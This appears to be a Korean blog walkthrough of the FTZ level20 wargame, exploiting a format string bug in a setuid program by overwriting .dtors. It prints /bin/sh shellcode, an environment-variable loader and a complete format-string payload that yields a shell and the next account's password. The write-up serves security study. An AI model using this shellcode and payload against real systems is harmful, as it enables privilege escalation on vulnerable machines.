보안 공부하는 꼬깔이

FTZ level20 풀이 

 

 

 

 

level20의 홈디렉토리 내용이다. clear 계정의 setuid가 걸린 attackme 프로그램을 확인했다. 

 

hint 파일을 확인해보자

 

 

hint에는 c언어 소스 코드가 존재한다. 해석해보자

 

 

소스코드 해석을 참조하면 fgets 함수로 문자열을 입력받고 bleh[80] 버퍼에 79바이트 만큼의 입력을 받는다. 그렇다는 것은 bof 공격으로 인한 ret 값 변조를 할 수 없다는 뜻이된다.

 

print함수에서 변수를 포맷스트링 인자 %s를 사용하지 않고 단순 배열을 매개변수로 받았다. 이렇게 되면 FSB(Format String Bug) 취약점이 발생하게되며 해당 문제도 이 취약점을 이용해 해결하면 될 것 같다. GOT값을 변조하기 위해서는 print 구문을 두 번 호출해야하는데 한 번 호출하는 해당 문제에서는 .DTORS 주소를 이용해 문제를 풀어보도록 하자 

 

 

TIP.Format String Bug?

FSB 취약점은 Format string(%s,%x와 같은 C언어의 변환 명세)의 Bug를 이용해 메모리를 변조하는 기술이다.

 

 

위는 흔히 쓰이는 Format String 이다.

 

 

포맷 스트링 버그 취약점이 존재하는 해당문제의 attacme 프로그램에 임의의 문자 AAAA와 16진수를 출력하는 %x format string을 입력하게되면 %x에의해 메모리 저장된 값이 16진수로 출력되고있다.

 

 

 

TIP.dtors?

-GNU 컴파일러로 컴파일 된 프로그램은 소멸자와 생성자의 테이블 섹션인 .dtors와 .ctors 를 생성한다. 생성자 함수와 ctors 섹션은 main()이 실행되기 전에 호출되고, 소멸자 함수와 .dtors 섹션은 main()이 exit 시스템 콜로 종료되기 직전에 호출된다. 그렇기 때문에우리는 main()의 ret 영역을 덮어 씌워서 실행흐름을 조작해도 되지만, 해당 문제처럼 ret 주소를 찾기 어려운 경우 .dtors 영역을 이용해 실행흐름을 변경하면 된다.

 

 

 어떤 식으로 문제를 해결할것인지 생각해 보자

1 : .DTORS 주소

2 : 쉘 코드 환경변수 등록과 주소 획득

 

 

먼저 .DTORS의 주소를 획득해보자

 

그러기 위해서 attacme 파일을 tmp/ 디렉토리로 복사

 

 

attackme 의 심볼테이블의 바로 출력하니까 중요한 정보가 null 표시되어, hint 파일을 tmp/ 디렉토리로 복사해 컴파일 한후 심볼테이블을 확인했더니 우리가 원하는 .DTORS가 끝날떄 호출하는 명령을 저장하는 주소인 __DTOR_END__ 주소를 알 수 있었다.

 

.DTORS 주소 = 08049598

 

 

다음은 쉘 코드를 환경 변수에 등록하고 주소 확인 프로그램을 작성해 주소를 획득해 보자.

 

<SHELL CODE>

 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

export shellcode=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

환경변수에 쉘코드 등록

 

 

 

쉘코드의 주소를 얻기위한 프로그램 작성

 

 

shellcode 주소 = 0xbffffee6

 

 

페이로드는 [4Byte공간]+[dtor의 앞주소] + [4Byte공간] + [dtor의 뒤주소] + %문자*3개 + %[쉘코드뒷주소만큼의문자수]c + %n

+ %[쉘코드앞주소만큼의 문자수]c + %n 이런식으로 작성 할 것이다.

 

페이로드를 작성하기 전에 필요한 값들을 구해보자.

 

 

[.DTORS 앞 주소] = 0x08049598

 

[4Byte공간] = "\x90"*4

 

[.DTORS 뒤 주소](DTOR주소 + 2바이트) = 0x0804959a 

 

%문자*2개 = "%8x"*2

 

[쉘코드뒤주소만큼의문자수] = fee6(십진수 65254)  - 지금까지 출력된 문자수(4+4+4+4+8*3=40) = 65254 - 40 = 65214

 

[쉘코드앞주소만큼의문자수] = bfff(십진수 49151) - 지금까지 출력된 문자수(65254) =  1bfff(십진수 114687 : 보수방식으로 계산하지 않으면 - 값이 출력되기 떄문에 보수 방식으로 계산) - 지금까지 출력된 문자수(hex = fee6,dex= 65254) = 49433

 

 

최종적인 페이로드는 (python -c 'print "\x90"*4+"\x98\x95\x04\x08"+"\x90"*4+"\x9a\x95\x04\x08"+"%8x"*3+"%65214c"+"%n"+"%49433c"+"%n"'; cat) | ./attackme

 

 

 

성공적으로 셸을 획득했고 mypass 명령어로 clear 계정의 패스워드를 출력했다.

 

이것으로 FTZ의 모든 문제를 clear 했다!!

 

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level19 풀이  (0) 2017.07.04
FTZ level18 풀이  (0) 2017.07.04
FTZ level17 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04